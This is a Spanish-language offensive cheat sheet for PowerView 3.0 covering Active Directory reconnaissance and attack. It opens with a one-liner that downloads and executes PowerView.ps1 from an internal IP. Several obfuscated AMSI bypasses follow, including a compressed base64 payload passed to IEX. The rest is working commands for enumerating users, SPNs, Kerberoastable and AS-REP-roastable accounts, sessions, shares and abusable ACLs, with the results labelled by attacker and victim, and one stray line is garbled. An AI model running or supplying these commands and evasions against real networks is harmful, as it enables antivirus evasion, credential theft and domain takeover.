Powerview 3.0

PowerView 3.0

URL: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.150/PowerView.ps1')

Bypass AMSI:

Original:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static'
).SetValue($null,$true)

Modificado:
$testing=[Ref].Assembly.GetType('Sy'+'ste'+'m.M'+'an'+'age'+'m'+'en'+'t.Au'+'t'+'om'+'at'+'io'+'n.A'+'ms'+'i'+'U'
+'til'+'s')
$omar=$testing.GetField('am'+'s'+'il'+'nit'+'Fail'+'ed','No'+'nPu'+'bl'+'i'+'c,S'+'ta'+'ti'+'c')
$omar.SetValue($null,$true)

Bypass1:
&($SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam([iO.meMorYStReAm]
[cOnvErt]::froMBaSE64StRINg('rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/
vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/
WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErM-
sFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/
GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'),
[sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs) | foreAch{NeW-OBJEct iO.STREaMREadER($_ ,
[teXt.ENCoDiNg]::aScii)}).REadtoenD( )

Bypass2:
[Ref].Assembly.GetType($
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZ-
QBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwA-
ZQBkAA==')),$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAY-
QB0AGkAYwA=')))).SetValue($null,$true)

Bypass3:
${2}=[Ref].Assembly.GetType('Sy'+$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'il'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))
+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$
([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')

${1}.SetValue($null,$true)

Ver información de dominio
Get-NetDomain
Get-NetDomain -Domain cs.org

Ver todos los dominios en el Forest
Get-Forest
Get-ForestDomain

Ver lista de todas las confianzas de dominio para el dominio actual.
Get-DomainTrust -Domain cs.org

Ver información SID de dominio
Get-DomainSID
Get-DomainSID -Domain cs.org

Ver politicas de dominio
Get-DomainPolicy
(Get-DomainPolicy -domain cs.org)."SystemAccess"
(Get-DomainPolicy -domain cs.org)."KerberosPolicy"
(Get-DomainPolicy -domain cs.org)."PrivilegeRights"

Ver DC de dominio
Get-NetDomainController
Get-NetDomainController -Domain cs.org

Ver configuraciones de políticas del Dominio sobre acceso al sistema
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

Ver configuraciones de políticas de kerberos
Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy

Ver GPOs en el dominio
Get-NetGPO
Get-NetGPO -ComputerName DC-01.cs.org
Get-DomainGPO -Properties displayname, whenchanged
Get-NetGPO -Properties displayname, whenchanged

Ver GPOs que utilizan grupos restringidos o groups.xml para usuarios interesantes
Get-NetGPOGroup

Ver usuarios que están en el grupo local de la máquina usando GPO
Find-GPOComputerAdmin -ComputerName DC-01.cs.org

Ver máquinas en las que un usuario determinado es miembro de un grupo específico:
Find-GPOLocation "kai.bel" -Verbose

Ver ACL para todos los GPOs.
Get-DomainGPO | % {Get-DomainObjectAcl -Identity $_.displayname -ResolveGUIDs}

Ver OU (unidades organizativas) en un dominio:
Get-DomainOU -Properties Name | sort -Property Name

```
Get-DomainOU "Domain Controllers" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name}
Get-NetOU
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}
Get-NetOU "Domain Controllers" | %{Get-NetComputer -ADSPath $_}
```

Ver ACL asociadas con un objeto específico:

```
Get-ObjectAcl -SamAccountName sisile.elli -ResolveGUIDs

$sid = Convert-NameToSid sisile.elli
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

Ver todos los usuarios en el dominio

```
Get-DomainUser | select -ExpandProperty samaccountnamse | Out-File -FilePath .\DomainUsers.txt
```

Ver los usuarios habilitados en el dominio

```
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties samaccountname
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties samaccountname
```

Ver los usuarios deshabilitados en el dominio

```
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"
Get-DomainUser -UACFilter ACCOUNTDISABLE
```

Ver propiedades de usuario

```
Get-DomainUser "sisile.elli"
Get-DomainUser "sisile.elli" -Domain cs.org
```

Ver usuarios de red

```
Get-NetUser | select -ExpandProperty samaccountname | Out-File -FilePath .\Users.txt
```

Ver descrpción de los usuarios

```
Get-NetUser | Select-Object samaccountname, description
```

Ver usuarios con contraseñas vacías (si están permitidas)

```
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
```

Ver todos los usuarios con un SPN (Cuenta de Servicio)

```
Get-DomainUser -SPN
Get-NetUser -SPN | select serviceprincipalname
Get-NetUser -SPN | ?{$_.memberof -match 'Domain Admins'}
```

Ver Kerberoast a cualquier usuario en una unidad organizativa particular con SPN configurados

```
Invoke-Kerberoast -SearchBase "LDAP://DC=cs,DC=org"
Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=cs,DC=org"
```

Ver los usuarios que no requieren autenticación previa de Kerberos (ASREPRoast)

```
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
```

Listar grupos de dominio

```
Get-NetGroup
Get-NetGroup -Domain cs.org
Get-NetGroup *help*
```

Get-NetGroupMember "*Admins*" -Recurse

Listar los grupos de usuario
Get-NetGroup -UserName "sisile.elli"

Listar grupos en las máquinas
Get-NetLocalGroup -ComputerName Win10
Get-NetLocalGroup -ComputerName DC-01

Ver Miembros extranjeros(Foreign Members)
Get-DomainForeignGroupMember -Domain cs.org
Get-NetGroupMember -Identity "*help*"

Enumerar usuarios registrados en una máquina
Get-NetLoggedon -ComputerName Win10

Enumerar usuarios autenticados en una máquina
Get-LoggedonLocal -ComputerName Win10

Enumerar usuarios que iniciaron sesión una máquina
Get-LastLoggedon -ComputerName Win10

Ver Hosts accesibles con el 'Administrador de dominio' conectado
Invoke-UserHunter -CheckAccess

Ver sesiones activas en un host específico
Invoke-UserHunter

Enumerar maquinas en el dominio
Get-NetComputer | select samaccountname, operatingsystem, operatingsystemversion

Enumerar máquinas prendidas en el dominio
Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

Enumerar máquinas por sistema operativo
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -Domain cs.org

Ver máquinas en el dominio local donde el usuario actual tiene acceso de administrador local.
Find-LocalAdminAccess

Ver información de sesión/escritorio remoto para la máquina local (o remota).
Nota: Solo los miembros del grupo local Administradores u Operadores de cuentas pueden ejecutar con éxito esta funcionalidad en un objetivo remoto.
Get-NetRDPSession -ComputerName W7 -Verbose

Buscar recursos compartidos
Invoke-ShareFinder -Verbose

Ver carpetas que podemos acceder
Find-DomainShare -CheckShareAccess

Obtener todos los servidores de archivos en un dominio

Get-NetFileServer

Enumerar un usuario especifico en LDAP
Get-ADObject -LDAPFilter "(&(objectCategory=user)(sAMAccountName=kai.bel))" -SearchBase "DC=cs,DC=org"

Verificar las propiedas de cuentas administrativas
Get-AdObject -ldapfilter "(admincount=1)" -properties admincount

Verificar si la contraseña nunca expira
Get-ADUser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires -eq "true" } | where {$_.enabled -eq "true" }

Verificar el nivel de contraseña segura
Get-ADUser -Filter {UserAccountControl -band 0x0020}

Derechos completos sobre el objeto (agregar usuarios a un grupo o restablecer la contraseña del usuario)
Get-ADUser -Filter * | %{(Get-ACL "AD:$($_.distinguishedname)").access} | Where-Object { $_.ActiveDirectoryRights -eq 'GenericAll' } | ForEach-Object { $_.IdentityReference.Value }

Actualizar los atributos del objeto (es decir, secuencia de comandos de inicio de sesión)
Get-ADUser -Filter * | %{(Get-ACL "AD:$($_.distinguishedname)").access} | Where-Object { $_.ActiveDirectoryRights -eq 'GenericWrite' } | ForEach-Object { $_.IdentityReference.Value }

Quien puede cambiar el propietario del objeto a un usuario controlado por el atacante tomar el control del objeto
Get-ADUser -Filter * | %{(Get-ACL "AD:$($_.distinguishedname)").access} | Where-Object { $_.ActiveDirectoryRights -eq 'WriteOwner' } | ForEach-Object { $_.IdentityReference.Value }

Quien puede Modificar las ACL del objeto y otorgue al atacante control total sobre el objeto
Get-ADUser -Filter * | %{(Get-ACL "AD:$($_.distinguishedname)").access} | Where-Object { $_.ActiveDirectoryRights -eq 'WriteDACL' } | ForEach-Object { $_.IdentityReference.Value }

Ver ACL interesantes
Invoke-ACLScanner -ResolveGUIDs

Ver ACL asociadas con una ruta especificada:
Get-PathAcl -Path "\\DC-01\sysvol"

Ver ACL interesantes (permisos para modificar objetos con RID 1000):
Find-InterestingDomainAcl -ResolveGUIDs

Ver si algún permiso interesante encontrado está relacionado con el nombre de usuario/grupo:
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "lockwood.kacy"}
c"Sales"}

Ver permiso ACL
Get-NetUser | ForEach-Object { Get-ObjectACL -SamAccountName $_.SamAccountName -ResolveGUIDs | Where-Object { try { $_.ActiveDirectoryRights -match "FullControl|WriteDacl|WriteOwner|Modify|All" -and ($_.SecurityIdentifier.Translate([System.Security.Principal.NTAccount]) -notin @("NT AUTHORITY\SYSTEM", "cs\Administradores de empresas", "BUILTIN\Administradores", "cs\Admins. del dominio")) } catch { $false } } | ForEach-Object { [PSCustomObject]@{ Attacker = ($_.SecurityIdentifier.Translate([System.Security.Principal.NTAccount])).Value; VictimObject = $_.ObjectDN; Permissions = $_.ActiveDirectoryRights } } }